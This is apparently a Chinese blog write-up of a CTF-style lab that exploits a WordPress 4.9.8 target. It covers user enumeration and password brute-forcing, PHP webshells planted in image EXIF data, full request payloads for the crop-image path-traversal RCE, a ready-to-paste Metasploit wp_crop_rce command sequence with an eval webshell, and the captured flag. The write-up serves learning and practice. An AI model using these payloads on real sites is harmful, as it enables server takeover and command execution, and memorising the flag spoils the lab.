0x00 前言
声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
本文首发于涂寐’s Blogs:https://0xtlu.github.io/article/52122537.html
0x01 看一波题目
URL:http://106.15.50.112:8043/
0x02 信息收集
指纹识别,该先浏览一波网站的
度娘找到相关
Nday
,针对WordPress 4.9.8
拿WPScan
扫用户名,得到author
和admin
。author
无效,拿admin
爆破到天荒地老……近日,问了下春天师傅:方法对,但还有账户……我……立即翻下登录页,果真对账户的正确性给与了提示……
0x03 BP在爆破
- 直接一波常用
username
,啧啧啧……小东西,还有个test
账户。
- 账户有了,那就继续密码呗!抽个幸运字典,恭喜你获得一枚密码
1qaz2wsx
0x04 图片上的马儿
- 对图片的 EXIF 数据进行 shell 插入:
exiftool text1.jpg -documentname="<?php echo exec(\$_POST['cmd']);?>"
- 在某次测试时,进行到命令执行部分发现返回包中含有
gd-jpeg v1.0
,因此判断该 WordPress 是使用 PHP-GD库处理图片。翻找国内外,以我的收集能力就找到大佬的jpg_payload.php
脚本:php jpg_payload.php text1.jpg
- 很可惜,测试了几天,愣是一次也没得,期间还比对了 MSF 中相应的漏洞利用脚本。昨晚搞到三点,不甘心,问了官方的师傅,说会做个视频讲解,等待吧……先暂且把笔记给留下
0x05 WordPress 5.0 RCE
- 做好前期准备了,那就登录吧。 http://106.15.50.112:8043/wp-admin/upload.php 处上传图片
dufu.jpg
- 访问 http://106.15.50.112:8043/wp-admin/post.php?post=379&action=edit ,post 值需要成你图片的,更新图片时抓包(包一),并发送至重放模块待用。
- 刚看到 Edit Image 没,点击它就到当前界面了。剪裁图片,保存时抓包(包二),并发送至重放模块待用
- 方法一:目录穿越
①仅在包一中添加 &post_author_override=1&meta_input[_wp_attached_file]=2022/02/dufu.jpg#/22.jpg
,并重放包二。
②在包一末尾改添加: &meta_input[_wp_attached_file]=2022/02/dufu.jpg#/../../../../themes/twentynineteen/22.jpg
,并重放包二。
③通过一些手段,可以看到确实是能够目录穿越,在 ../themes/twentynineteen
目录成功写入图片,检查且木马仍旧存在。
- 方法一:命令执行
重复抓取包二的操作,此次改上传为文本文件 test.txt
,依旧发送至重放模块,末尾写入 &meta_input[_wp_page_template]=22-e1644857781657.jpg
,访问 http://106.15.50.112:8043/test ,噔噔,界面不存在。
- 方法二:目录穿越
①对包二的 post 值部分进行替换: action=crop-image&_ajax_nonce=ef827c133f&postid=379&history=%5B%7B%22c%22%3A%7B%22x%22%3A11%2C%22y%22%3A10%2C%22w%22%3A376%2C%22h%22%3A245%7D%7D%5D&target=all&context=&do=save&id=379&cropDetails[dst_width]=100&cropDetails[dst_height]=100
。建议直接复制这里的 payload ,仅需修改 _ajax_nonce
、 postid
和 id
参数。
②接下来操作如同 方法一:目录穿越。
③经检测,cropped-22.jpg
成功写入,但一句话却被干掉了。
- 方法二:命令执行
见有的师傅是新建一个帖子草稿(最接近 MSF 脚本的),试试,,仍是找不到界面。
0x06 黔驴技穷
找呀找呀找朋友,找到一个……一个……一个啥来着,好了,找几天资料了,连着熬了几晚,我不服,我还会回来的,就先说拜拜啦`(>﹏<)′
0x08 MSF getshell
- 直接调用原始漏洞利用程序是没有 shell 文件名提示的,故需要修改成默认名以方便连接。终端写入:
vim /usr/share/metasploit-framework/modules/exploits/multi/http/wp_crop_rce.rb
313 行处,将 @backdoor = Rex::Text.rand_text_alpha(10)
注释,添加 @backdoor = 'tumei'
或 313行处添加 shell 文件名输出, puts('[+] ' + @backdoor + '.php')
。
- 没什么好说的,终端写入如下命令
1
2
3
4
5
6
7
8
9
10
11一次性 cv 下列语句省时省力,ko
msfconsole
use exploit/multi/http/wp_crop_rce
set payload generic/custom
set username test
set password 1qaz2wsx
set rhosts 106.15.50.112
set rport 8043
set payloadstr <?php @eval($_POST[t'umei']);?>
set AllowNoCleanup true
run
0x09 flag
攻击完成,直接菜刀|蚁剑连接 http://106.15.50.112:8043/tumei.phpflag{af2fe3b20b4a288e9d96b100f0e17d8e}
0x10 后记
- 很粗心,登录界面就逮着 admin 来爆破了,也没注意它提示账户的存在性,这毛病得改
- 很较真,说好不好,消耗了几天,还是无法手工 getshell 。
- 再接再厉,有弄成功的师傅可以教一手。
- 对了,今天正月十五了,祝大家元宵节快乐,天天逮到0day。
- 本文标题:安鸾CMS系列之Wordpress02
- 本文作者:涂寐
- 创建时间:2022-02-15 21:08:07
- 本文链接:article/52122537.html
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!